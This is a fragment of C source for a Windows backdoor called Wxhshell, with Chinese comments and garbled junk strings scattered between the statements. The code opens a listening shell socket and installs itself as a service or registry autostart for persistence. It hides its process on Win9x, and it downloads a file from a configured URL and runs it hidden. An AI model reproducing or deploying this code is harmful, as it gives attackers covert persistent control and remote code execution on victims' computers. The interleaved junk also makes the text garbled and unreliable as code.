HMODULE hMod; Y
zXL8 char procName[255]; )IGE2k| unsigned long cbNeeded; XU Hu=2F hmOhXE[a& if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c ZN+D D SR#X\AWM CloseHandle(hProcess); N&!qur \ $Blo`' if(strstr(procName,"services")) return 1; // 以服务启动 3r?Bnf: I#D{6%~ return 0; // 注册表启动 n)w@\Uyc } 3
[lF -<jb>8 // 主模块
qh/q< int StartWxhshell(LPSTR lpCmdLine) *K6 V$_{S { X 5LI SOCKET wsl; z./M^7v? BOOL val=TRUE; uuzDu]Gwu int port=0; \Clz#k8l1 struct sockaddr_in door; Y%b
5{1 8W 9%NW3& if(wscfg.ws_autoins) Install(); a3L]'E'*# sT9P port=atoi(lpCmdLine); /H=fK )FM/^ if(port<=0) port=wscfg.ws_port; l|`%FB^ k ip4:px- WSADATA data; C26PQGo#$ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9~DoF]TM _gK@),de if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; w8*+l0 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1%|+yu1 door.sin_family = AF_INET; m&DDz+g door.sin_addr.s_addr = inet_addr("127.0.0.1"); B&_ 62` door.sin_port = htons(port); Ud0%O P. P3/, if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { '}*5ee](S closesocket(wsl); 8@|_];9#. return 1; #F.;N<a } >De\2gbJ lztPexyXZ if(listen(wsl,2) == INVALID_SOCKET) { lcij}-z:%e closesocket(wsl); ^9o;=!D!9 return 1; K3&v6 #] } VY$hg Wxhshell(wsl); m,v"N%k, WSACleanup(); G6xdGUM TSmuNCR return 0; eP-q[U?$n -c!{';Zn } Y'-BKZv! ^:K"Tv.= // 以NT服务方式启动 Z mF}pa,gd VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O,ZvV3 { ="RDcf/ DWORD status = 0; OC9_EP\" DWORD specificError = 0xfffffff; L@w|2 AZxx%6 serviceStatus.dwServiceType = SERVICE_WIN32; A"k6n\!n; serviceStatus.dwCurrentState = SERVICE_START_PENDING; _/ZIDIn serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; nbMnqkNb serviceStatus.dwWin32ExitCode = 0; 8zGe5Dn9 serviceStatus.dwServiceSpecificExitCode = 0; 'i_od|19~h serviceStatus.dwCheckPoint = 0;
"/6( serviceStatus.dwWaitHint = 0; X%xX3e' ; )O)\__"- hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =M)>w4- if (hServiceStatusHandle==0) return; l/`<iG% <0vQHND,3 status = GetLastError(); `f}c 1 if (status!=NO_ERROR) `!DrB08A { 9j:t}HV serviceStatus.dwCurrentState = SERVICE_STOPPED; <wxI>T }b serviceStatus.dwCheckPoint = 0; e~c;wP~cO serviceStatus.dwWaitHint = 0; &h-d\gMJ serviceStatus.dwWin32ExitCode = status; *'vX:n&t serviceStatus.dwServiceSpecificExitCode = specificError; 7am ._K SetServiceStatus(hServiceStatusHandle, &serviceStatus); H^p?t=Y return; F'W{\4 } oL#^=vid" ',`iQt!Lx serviceStatus.dwCurrentState = SERVICE_RUNNING; 1b
E$x^P serviceStatus.dwCheckPoint = 0; Z:09]r1 serviceStatus.dwWaitHint = 0; JJ q= {; if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !zwnFdp } s"p}>BjMIC ?UoA'~= // 处理NT服务事件,比如:启动、停止 afv?z VOID WINAPI NTServiceHandler(DWORD fdwControl) =;0#F& { s%>>E!Qi_ switch(fdwControl) V#^~JJW^ { :^71,An >E case SERVICE_CONTROL_STOP: *f$mSI= serviceStatus.dwWin32ExitCode = 0; b{s_cOr/ serviceStatus.dwCurrentState = SERVICE_STOPPED; /K:M
,q serviceStatus.dwCheckPoint = 0; ^6mlE+WY serviceStatus.dwWaitHint = 0; Xdsd5 UUM { U2=5Nt5 SetServiceStatus(hServiceStatusHandle, &serviceStatus); K7Kd{9-2 } "wmQ,= return; +,9I3Dq case SERVICE_CONTROL_PAUSE: {7[^L1 serviceStatus.dwCurrentState = SERVICE_PAUSED; .B{3=z^
break; )?joF) case SERVICE_CONTROL_CONTINUE: l.\Fr+*ej serviceStatus.dwCurrentState = SERVICE_RUNNING; p@/!+$^{ break; wy<m&M<Gr case SERVICE_CONTROL_INTERROGATE: m'XzZmI break; Fd2Eq&:en$ }; HlBw:D(z:^ SetServiceStatus(hServiceStatusHandle, &serviceStatus); SJ^.#^) } +|).dm E:T<mI?d // 标准应用程序主函数 {N[IjY int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9kuL1tcY { XL >Vwd r5Jy( ~ // 获取操作系统版本 bv5,Yk OsIsNt=GetOsVer(); ;hJTJMA6/6 GetModuleFileName(NULL,ExeFile,MAX_PATH); /$'tO3 1Z6<W~,1OM // 从命令行安装 "'p:M,: if(strpbrk(lpCmdLine,"iI")) Install(); nV,qC.z =Bi>$Ly // 下载执行文件 ]8*g% if(wscfg.ws_downexe) { +'2Mj|d@p if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gpVZZ:~ WinExec(wscfg.ws_filenam,SW_HIDE); Yvs)H'n= } *oL?R2#7 vXLiYWo if(!OsIsNt) { 63QMv[`, // 如果时win9x,隐藏进程并且设置为注册表启动 v#@"Evh7 HideProc(); f%` =>l StartWxhshell(lpCmdLine); b/5?)!I } j1*'yvGM else AcyiP
if(StartFromService()) 6A;V[3 // 以服务方式启动 Oj\lg2Ck
StartServiceCtrlDispatcher(DispatchTable); HhhN8t else D' ZR>@w@ // 普通方式启动 hU3c;6]3 StartWxhshell(lpCmdLine); L&MR%5 WW\u}z.QJ return 0; =LDzZ:' X }
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